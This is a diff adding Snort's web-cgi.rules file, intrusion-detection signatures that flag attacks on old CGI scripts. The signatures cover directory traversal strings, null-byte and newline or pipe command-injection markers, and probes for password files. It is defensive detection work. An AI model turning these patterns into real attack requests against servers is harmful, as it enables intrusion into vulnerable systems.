--- snort-2.8.5.2.orig/rules/web-cgi.rules
+++ snort-2.8.5.2/rules/web-cgi.rules
@@ -0,0 +1,396 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: web-cgi.rules,v 1.77.2.7.2.6 2005/07/22 19:19:54 mwatchinski Exp $
+#--------------
+# WEB-CGI RULES
+#--------------
+#
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI HyperSeek hsx.cgi directory traversal attempt"; flow:to_server,established; uricontent:"/hsx.cgi"; content:"../../"; content:"%00"; distance:1; reference:bugtraq,2314; reference:cve,2001-0253; reference:nessus,10602; classtype:web-application-attack; sid:803; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI HyperSeek hsx.cgi access"; flow:to_server,established; uricontent:"/hsx.cgi"; reference:bugtraq,2314; reference:cve,2001-0253; reference:nessus,10602; classtype:web-application-activity; sid:1607; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI SWSoft ASPSeek Overflow attempt"; flow:to_server,established; uricontent:"/s.cgi"; nocase; content:"tmpl="; reference:bugtraq,2492; reference:cve,2001-0476; classtype:web-application-attack; sid:804; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI webspeed access"; flow:to_server,established; uricontent:"/wsisa.dll/WService="; nocase; content:"WSMadmin"; nocase; reference:arachnids,467; reference:bugtraq,969; reference:cve,2000-0127; reference:nessus,10304; classtype:attempted-user; sid:805; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI yabb directory traversal attempt"; flow:to_server,established; uricontent:"/YaBB"; nocase; content:"../"; reference:arachnids,462; reference:bugtraq,1668; reference:cve,2000-0853; classtype:attempted-recon; sid:806; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI yabb access"; flow:to_server,established; uricontent:"/YaBB"; nocase; reference:arachnids,462; reference:bugtraq,1668; reference:cve,2000-0853; classtype:attempted-recon; sid:1637; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI /wwwboard/passwd.txt access"; flow:to_server,established; uricontent:"/wwwboard/passwd.txt"; nocase; reference:arachnids,463; reference:bugtraq,649; reference:cve,1999-0953; reference:cve,1999-0954; reference:nessus,10321; classtype:attempted-recon; sid:807; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI webdriver access"; flow:to_server,established; uricontent:"/webdriver"; nocase; reference:arachnids,473; reference:bugtraq,2166; reference:nessus,10592; classtype:attempted-recon; sid:808; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI whois_raw.cgi arbitrary command execution attempt"; flow:to_server,established; uricontent:"/whois_raw.cgi?"; content:"|0A|"; reference:arachnids,466; reference:bugtraq,304; reference:cve,1999-1063; reference:nessus,10306; classtype:web-application-attack; sid:809; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI whois_raw.cgi access"; flow:to_server,established; uricontent:"/whois_raw.cgi"; reference:arachnids,466; reference:bugtraq,304; reference:cve,1999-1063; reference:nessus,10306; classtype:attempted-recon; sid:810; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI websitepro path access"; flow:to_server,established; content:" /HTTP/1."; nocase; reference:arachnids,468; reference:bugtraq,932; reference:cve,2000-0066; classtype:attempted-recon; sid:811; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI webplus version access"; flow:to_server,established; uricontent:"/webplus?about"; nocase; reference:arachnids,470; reference:bugtraq,1102; reference:cve,2000-0282; classtype:attempted-recon; sid:812; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI webplus directory traversal"; flow:to_server,established; uricontent:"/webplus?script"; nocase; content:"../"; reference:arachnids,471; reference:bugtraq,1102; reference:cve,2000-0282; classtype:web-application-attack; sid:813; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI websendmail access"; flow:to_server,established; uricontent:"/websendmail"; nocase; reference:arachnids,469; reference:bugtraq,2077; reference:cve,1999-0196; reference:nessus,10301; classtype:attempted-recon; sid:815; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI dcforum.cgi directory traversal attempt"; flow:to_server,established; uricontent:"/dcforum.cgi"; content:"forum=../.."; reference:bugtraq,2611; reference:cve,2001-0436; reference:cve,2001-0437; classtype:web-application-attack; sid:1571; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI dcforum.cgi access"; flow:to_server,established; uricontent:"/dcforum.cgi"; reference:bugtraq,2728; reference:cve,2001-0527; reference:nessus,10583; classtype:attempted-recon; sid:818; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI dcboard.cgi invalid user addition attempt"; flow:to_server,established; uricontent:"/dcboard.cgi"; content:"command=register"; content:"%7cadmin"; reference:bugtraq,2728; reference:cve,2001-0527; reference:nessus,10583; classtype:web-application-attack; sid:817; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI dcboard.cgi access"; flow:to_server,established; uricontent:"/dcboard.cgi"; reference:bugtraq,2728; reference:cve,2001-0527; reference:nessus,10583; classtype:attempted-recon; sid:1410; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI mmstdod.cgi access"; flow:to_server,established; uricontent:"/mmstdod.cgi"; nocase; reference:bugtraq,2063; reference:cve,2001-0021; reference:nessus,10566; classtype:attempted-recon; sid:819; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI anaconda directory transversal attempt"; flow:to_server,established; uricontent:"/apexec.pl"; content:"template=../"; nocase; reference:bugtraq,2338; reference:bugtraq,2388; reference:cve,2000-0975; reference:cve,2001-0308; classtype:web-application-attack; sid:820; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI imagemap.exe overflow attempt"; flow:to_server,established; uricontent:"/imagemap.exe?"; nocase; reference:arachnids,412; reference:bugtraq,739; reference:cve,1999-0951; reference:nessus,10122; classtype:web-application-attack; sid:821; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI imagemap.exe access"; flow:to_server,established; uricontent:"/imagemap.exe"; nocase; reference:arachnids,412; reference:bugtraq,739; reference:cve,1999-0951; reference:nessus,10122; classtype:web-application-activity; sid:1700; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cvsweb.cgi access"; flow:to_server,established; uricontent:"/cvsweb.cgi"; nocase; reference:bugtraq,1469; reference:cve,2000-0670; reference:nessus,10465; classtype:attempted-recon; sid:823; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI php.cgi access"; flow:to_server,established; uricontent:"/php.cgi"; nocase; reference:arachnids,232; reference:bugtraq,2250; reference:bugtraq,712; reference:cve,1999-0238; reference:cve,1999-058; reference:nessus,10178; classtype:attempted-recon; sid:824; rev:13;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI glimpse access"; flow:to_server,established; uricontent:"/glimpse"; nocase; reference:bugtraq,2026; reference:cve,1999-0147; reference:nessus,10095; classtype:attempted-recon; sid:825; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI htmlscript attempt"; flow:to_server,established; uricontent:"/htmlscript?../.."; nocase; reference:bugtraq,2001; reference:cve,1999-0264; reference:nessus,10106; classtype:web-application-attack; sid:1608; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI htmlscript access"; flow:to_server,established; uricontent:"/htmlscript"; nocase; reference:bugtraq,2001; reference:cve,1999-0264; reference:nessus,10106; classtype:attempted-recon; sid:826; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI info2www access"; flow:to_server,established; uricontent:"/info2www"; nocase; reference:bugtraq,1995; reference:cve,1999-0266; reference:nessus,10127; classtype:attempted-recon; sid:827; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI maillist.pl access"; flow:to_server,established; uricontent:"/maillist.pl"; nocase; classtype:attempted-recon; sid:828; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI nph-test-cgi access"; flow:to_server,established; uricontent:"/nph-test-cgi"; nocase; reference:arachnids,224; reference:bugtraq,686; reference:cve,1999-0045; reference:nessus,10165; classtype:attempted-recon; sid:829; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI NPH-publish access"; flow:to_server,established; uricontent:"/nph-maillist.pl"; nocase; reference:bugtraq,2563; reference:cve,2001-0400; classtype:attempted-recon; sid:1451; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI NPH-publish access"; flow:to_server,established; uricontent:"/nph-publish"; nocase; reference:cve,1999-1177; reference:nessus,10164; classtype:attempted-recon; sid:830; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI rguest.exe access"; flow:to_server,established; uricontent:"/rguest.exe"; nocase; reference:bugtraq,2024; reference:cve,1999-0287; reference:cve,1999-0467; classtype:attempted-recon; sid:833; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI rwwwshell.pl access"; flow:to_server,established; uricontent:"/rwwwshell.pl"; nocase; reference:url,www.itsecurity.com/papers/p37.htm; classtype:attempted-recon; sid:834; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI test-cgi attempt"; flow:to_server,established; uricontent:"/test-cgi/*?*"; nocase; reference:arachnids,218; reference:bugtraq,2003; reference:cve,1999-0070; reference:nessus,10282; classtype:web-application-attack; sid:1644; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI test-cgi access"; flow:to_server,established; uricontent:"/test-cgi"; nocase; reference:arachnids,218; reference:bugtraq,2003; reference:cve,1999-0070; reference:nessus,10282; classtype:attempted-recon; sid:835; rev:9;)
+# testcgi is *one* of many scripts to look for.  this *ALSO* triggers on testcgi.exe.
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI testcgi access"; flow:to_server,established; uricontent:"/testcgi"; nocase; reference:bugtraq,7214; reference:nessus,11610; classtype:web-application-activity; sid:1645; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI test.cgi access"; flow:to_server,established; uricontent:"/test.cgi"; nocase; classtype:web-application-activity; sid:1646; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI textcounter.pl access"; flow:to_server,established; uricontent:"/textcounter.pl"; nocase; reference:bugtraq,2265; reference:cve,1999-1479; reference:nessus,11451; classtype:attempted-recon; sid:836; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI uploader.exe access"; flow:to_server,established; uricontent:"/uploader.exe"; nocase; reference:bugtraq,1611; reference:cve,1999-0177; reference:cve,2000-0769; reference:nessus,10291; classtype:attempted-recon; sid:837; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI webgais access"; flow:to_server,established; uricontent:"/webgais"; nocase; reference:arachnids,472; reference:bugtraq,2058; reference:cve,1999-0176; reference:nessus,10300; classtype:attempted-recon; sid:838; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI finger access"; flow:to_server,established; uricontent:"/finger"; nocase; reference:arachnids,221; reference:cve,1999-0612; reference:nessus,10071; classtype:attempted-recon; sid:839; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI perlshop.cgi access"; flow:to_server,established; uricontent:"/perlshop.cgi"; nocase; reference:cve,1999-1374; classtype:attempted-recon; sid:840; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI pfdisplay.cgi access"; flow:to_server,established; uricontent:"/pfdispaly.cgi"; nocase; reference:bugtraq,64; reference:cve,1999-0270; reference:nessus,10174; classtype:attempted-recon; sid:841; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI aglimpse access"; flow:to_server,established; uricontent:"/aglimpse"; nocase; reference:bugtraq,2026; reference:cve,1999-0147; reference:nessus,10095; classtype:attempted-recon; sid:842; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI anform2 access"; flow:to_server,established; uricontent:"/AnForm2"; nocase; reference:arachnids,225; reference:bugtraq,719; reference:cve,1999-0066; classtype:attempted-recon; sid:843; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI args.bat access"; flow:to_server,established; uricontent:"/args.bat"; nocase; reference:cve,1999-1180; reference:nessus,11465; classtype:attempted-recon; sid:844; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI args.cmd access"; flow:to_server,established; uricontent:"/args.cmd"; nocase; reference:cve,1999-1180; reference:nessus,11465; classtype:attempted-recon; sid:1452; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI AT-admin.cgi access"; flow:to_server,established; uricontent:"/AT-admin.cgi"; nocase; reference:cve,1999-1072; classtype:attempted-recon; sid:845; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI AT-generated.cgi access"; flow:to_server,established; uricontent:"/AT-generated.cgi"; nocase; reference:cve,1999-1072; classtype:attempted-recon; sid:1453; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bnbform.cgi access"; flow:to_server,established; uricontent:"/bnbform.cgi"; nocase; reference:bugtraq,2147; reference:cve,1999-0937; classtype:attempted-recon; sid:846; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI campas access"; flow:to_server,established; uricontent:"/campas"; nocase; reference:bugtraq,1975; reference:cve,1999-0146; reference:nessus,10035; classtype:attempted-recon; sid:847; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI view-source directory traversal"; flow:to_server,established; uricontent:"/view-source"; nocase; content:"../"; nocase; reference:bugtraq,2251; reference:bugtraq,8883; reference:cve,1999-0174; classtype:web-application-attack; sid:848; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI view-source access"; flow:to_server,established; uricontent:"/view-source"; nocase; reference:bugtraq,2251; reference:bugtraq,8883; reference:cve,1999-0174; classtype:attempted-recon; sid:849; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI wais.pl access"; flow:to_server,established; uricontent:"/wais.pl"; nocase; classtype:attempted-recon; sid:850; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI wwwwais access"; flow:to_server,established; uricontent:"/wwwwais"; nocase; reference:cve,2001-0223; reference:nessus,10597; classtype:attempted-recon; sid:1454; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI files.pl access"; flow:to_server,established; uricontent:"/files.pl"; nocase; reference:cve,1999-1081; classtype:attempted-recon; sid:851; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI wguest.exe access"; flow:to_server,established; uricontent:"/wguest.exe"; nocase; reference:bugtraq,2024; reference:cve,1999-0287; reference:cve,1999-0467; classtype:attempted-recon; sid:852; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI wrap access"; flow:to_server,established; uricontent:"/wrap"; reference:arachnids,234; reference:bugtraq,373; reference:cve,1999-0149; reference:nessus,10317; classtype:attempted-recon; sid:853; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI classifieds.cgi access"; flow:to_server,established; uricontent:"/classifieds.cgi"; nocase; reference:bugtraq,2020; reference:cve,1999-0934; classtype:attempted-recon; sid:854; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI environ.cgi access"; flow:to_server,established; uricontent:"/environ.cgi"; nocase; classtype:attempted-recon; sid:856; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI faxsurvey access"; flow:to_server,established; uricontent:"/faxsurvey"; nocase; reference:bugtraq,2056; reference:cve,1999-0262; reference:nessus,10067; classtype:web-application-activity; sid:857; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI filemail access"; flow:to_server,established; uricontent:"/filemail.pl"; nocase; reference:cve,1999-1154; classtype:attempted-recon; sid:858; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI man.sh access"; flow:to_server,established; uricontent:"/man.sh"; nocase; reference:bugtraq,2276; reference:cve,1999-1179; classtype:attempted-recon; sid:859; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI snork.bat access"; flow:to_server,established; uricontent:"/snork.bat"; nocase; reference:arachnids,220; reference:bugtraq,1053; reference:cve,2000-0169; classtype:attempted-recon; sid:860; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI w3-msql access"; flow:to_server,established; uricontent:"/w3-msql/"; nocase; reference:arachnids,210; reference:bugtraq,591; reference:bugtraq,898; reference:cve,1999-0276; reference:cve,1999-0753; reference:cve,2000-0012; reference:nessus,10296; classtype:attempted-recon; sid:861; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI day5datacopier.cgi access"; flow:to_server,established; uricontent:"/day5datacopier.cgi"; nocase; reference:cve,1999-1232; classtype:attempted-recon; sid:863; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI day5datanotifier.cgi access"; flow:to_server,established; uricontent:"/day5datanotifier.cgi"; nocase; reference:cve,1999-1232; classtype:attempted-recon; sid:864; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI post-query access"; flow:to_server,established; uricontent:"/post-query"; nocase; reference:bugtraq,6752; reference:cve,2001-0291; classtype:attempted-recon; sid:866; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI visadmin.exe access"; flow:to_server,established; uricontent:"/visadmin.exe"; nocase; reference:bugtraq,1808; reference:cve,1999-0970; reference:cve,1999-1970; reference:nessus,10295; classtype:attempted-recon; sid:867; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI dumpenv.pl access"; flow:to_server,established; uricontent:"/dumpenv.pl"; nocase; reference:cve,1999-1178; reference:nessus,10060; classtype:attempted-recon; sid:869; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI calendar_admin.pl arbitrary command execution attempt"; flow:to_server,established; uricontent:"/calendar_admin.pl?config=|7C|"; reference:cve,2000-0432; classtype:web-application-attack; sid:1536; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI calendar_admin.pl access"; flow:to_server,established; uricontent:"/calendar_admin.pl"; reference:cve,2000-0432; classtype:web-application-activity; sid:1537; rev:6;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI calender_admin.pl access"; flow:to_server,established; uricontent:"/calender_admin.pl"; nocase; reference:cve,2000-0432; classtype:attempted-recon; sid:1456; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI calendar-admin.pl access"; flow:to_server,established; uricontent:"/calendar-admin.pl"; nocase; reference:bugtraq,1215; classtype:web-application-activity; sid:1701; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI calendar.pl access"; flow:to_server,established; uricontent:"calendar"; nocase; pcre:"/calendar(|[-_]admin)\.pl/Ui"; reference:bugtraq,1215; reference:cve,2000-0432; classtype:attempted-recon; sid:1455; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI calendar access"; flow:to_server,established; uricontent:"/calendar"; nocase; classtype:attempted-recon; sid:882; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI user_update_admin.pl access"; flow:to_server,established; uricontent:"/user_update_admin.pl"; nocase; reference:bugtraq,1486; reference:cve,2000-0627; classtype:attempted-recon; sid:1457; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI user_update_passwd.pl access"; flow:to_server,established; uricontent:"/user_update_passwd.pl"; nocase; reference:bugtraq,1486; reference:cve,2000-0627; classtype:attempted-recon; sid:1458; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI snorkerz.cmd access"; flow:to_server,established; uricontent:"/snorkerz.cmd"; nocase; classtype:attempted-recon; sid:870; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI survey.cgi access"; flow:to_server,established; uricontent:"/survey.cgi"; nocase; reference:bugtraq,1817; reference:cve,1999-0936; classtype:attempted-recon; sid:871; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI scriptalias access"; flow:to_server,established; uricontent:"///"; reference:arachnids,227; reference:bugtraq,2300; reference:cve,1999-0236; classtype:attempted-recon; sid:873; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI win-c-sample.exe access"; flow:to_server,established; uricontent:"/win-c-sample.exe"; nocase; reference:arachnids,231; reference:bugtraq,2078; reference:cve,1999-0178; reference:nessus,10008; classtype:attempted-recon; sid:875; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI w3tvars.pm access"; flow:to_server,established; uricontent:"/w3tvars.pm"; nocase; classtype:attempted-recon; sid:878; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI admin.pl access"; flow:to_server,established; uricontent:"/admin.pl"; nocase; reference:bugtraq,3839; reference:url,online.securityfocus.com/archive/1/249355; classtype:attempted-recon; sid:879; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI LWGate access"; flow:to_server,established; uricontent:"/LWGate"; nocase; reference:url,www.netspace.org/~dwb/lwgate/lwgate-history.html; reference:url,www.wiretrip.net/rfp/p/doc.asp/i2/d6.htm; classtype:attempted-recon; sid:880; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI archie access"; flow:to_server,established; uricontent:"/archie"; nocase; classtype:attempted-recon; sid:881; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI flexform access"; flow:to_server,established; uricontent:"/flexform"; nocase; reference:url,www.wiretrip.net/rfp/p/doc.asp/i2/d6.htm; classtype:attempted-recon; sid:883; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI formmail arbitrary command execution attempt"; flow:to_server,established; uricontent:"/formmail"; nocase; content:"%0a"; nocase; reference:arachnids,226; reference:bugtraq,1187; reference:bugtraq,2079; reference:cve,1999-0172; reference:cve,2000-0411; reference:nessus,10076; reference:nessus,10782; classtype:web-application-attack; sid:1610; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI formmail access"; flow:to_server,established; uricontent:"/formmail"; nocase; reference:arachnids,226; reference:bugtraq,1187; reference:bugtraq,2079; reference:cve,1999-0172; reference:cve,2000-0411; reference:nessus,10076; reference:nessus,10782; classtype:web-application-activity; sid:884; rev:14;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI phf arbitrary command execution attempt"; flow:to_server,established; uricontent:"/phf"; nocase; content:"QALIAS"; nocase; content:"%0a"; reference:arachnids,128; reference:bugtraq,629; reference:cve,1999-0067; classtype:web-application-attack; sid:1762; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI phf access"; flow:to_server,established; uricontent:"/phf"; nocase; reference:arachnids,128; reference:bugtraq,629; reference:cve,1999-0067; classtype:web-application-activity; sid:886; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI www-sql access"; flow:to_server,established; uricontent:"/www-sql"; nocase; reference:url,marc.theaimsgroup.com/?l=bugtraq&m=88704258804054&w=2; classtype:attempted-recon; sid:887; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI wwwadmin.pl access"; flow:to_server,established; uricontent:"/wwwadmin.pl"; nocase; classtype:attempted-recon; sid:888; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ppdscgi.exe access"; flow:to_server,established; uricontent:"/ppdscgi.exe"; nocase; reference:bugtraq,491; reference:nessus,10187; reference:url,online.securityfocus.com/archive/1/16878; classtype:attempted-recon; sid:889; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI sendform.cgi access"; flow:to_server,established; uricontent:"/sendform.cgi"; nocase; reference:bugtraq,5286; reference:cve,2002-0710; reference:url,www.scn.org/help/sendform.txt; classtype:attempted-recon; sid:890; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI upload.pl access"; flow:to_server,established; uricontent:"/upload.pl"; nocase; classtype:attempted-recon; sid:891; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI AnyForm2 access"; flow:to_server,established; uricontent:"/AnyForm2"; nocase; reference:bugtraq,719; reference:cve,1999-0066; reference:nessus,10277; classtype:attempted-recon; sid:892; rev:10;)
